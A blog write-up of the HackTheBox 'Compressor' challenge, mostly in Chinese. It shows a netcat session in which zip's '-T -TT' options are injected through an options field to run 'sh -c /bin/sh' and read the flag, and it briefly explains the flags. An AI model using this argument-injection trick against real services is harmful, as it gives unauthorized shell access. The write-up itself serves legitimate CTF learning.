HackTheBox-Challenges Compressor Writeup

kazma 成大資安社 創辦人/社長

Exploitation

直接放解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
╰─ nc 83.136.254.158 30271                                                                                          ─╯

[*] Directory to work in: zdh6Ogvx31QCR9kWPu61pubPpr6TMIRa

Component List:

+===============+
| |
| 1. Head 🤖 |
| 2. Torso 🦴 |
| 3. Hands 💪 |
| 4. Legs 🦵 |
| |
+===============+

[*] Choose component: 1

[*] Sub-directory to work in: zdh6Ogvx31QCR9kWPu61pubPpr6TMIRa/Head


Actions:

1. Create artifact
2. List directory (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory (cd <dirname>)
5. Clean directory (rm -rf ./*)
6. Exit

[*] Choose action: 1


Insert name: a

Insert content: a


[+] Artifact [a] was created successfuly!

Actions:

1. Create artifact
2. List directory (pwd; ls -la)
3. Compress artifact (zip <name>.zip <name> <options>)
4. Change directory (cd <dirname>)
5. Clean directory (rm -rf ./*)
6. Exit

[*] Choose action: 3


Insert <name>.zip: a
Insert <name>: a
Insert <options>: -T -TT 'sh -c /bin/sh'
adding: a (stored 0%)
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
cat ../../flag.txt
HTB{z1pp1ti_z0pp1t1_GTFO_0f_my_pr0p3rty}

這邊是利用 zip 的參數來開 shell:

  • -T:zip 的 -T 參數代表「測試壓縮文件」。使用這個參數時,zip 不會進行壓縮,而是確認給定的壓縮文件的完整性。
  • -TT :這個參數允許指定一個測試命令來進行壓縮文件的測試。然而,大部分現代 zip 工具不再支援該功能來執行自定義命令。
    然後我們可以通過 -TT ‘sh -c /bin/sh’ 試圖用 sh -c /bin/sh 來運行一個交互式 shell。 sh -c 指定將要運行的指令,而 /bin/sh 則打開一個新的 shell。

References

  • Title: HackTheBox-Challenges Compressor Writeup
  • Author: kazma
  • Created at : 2024-11-04 15:18:40
  • Updated at : 2024-11-04 15:34:12
  • Link: https://kazma.tw/2024/11/04/HackTheBox-Challenges-Compressor-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Challenges Compressor Writeup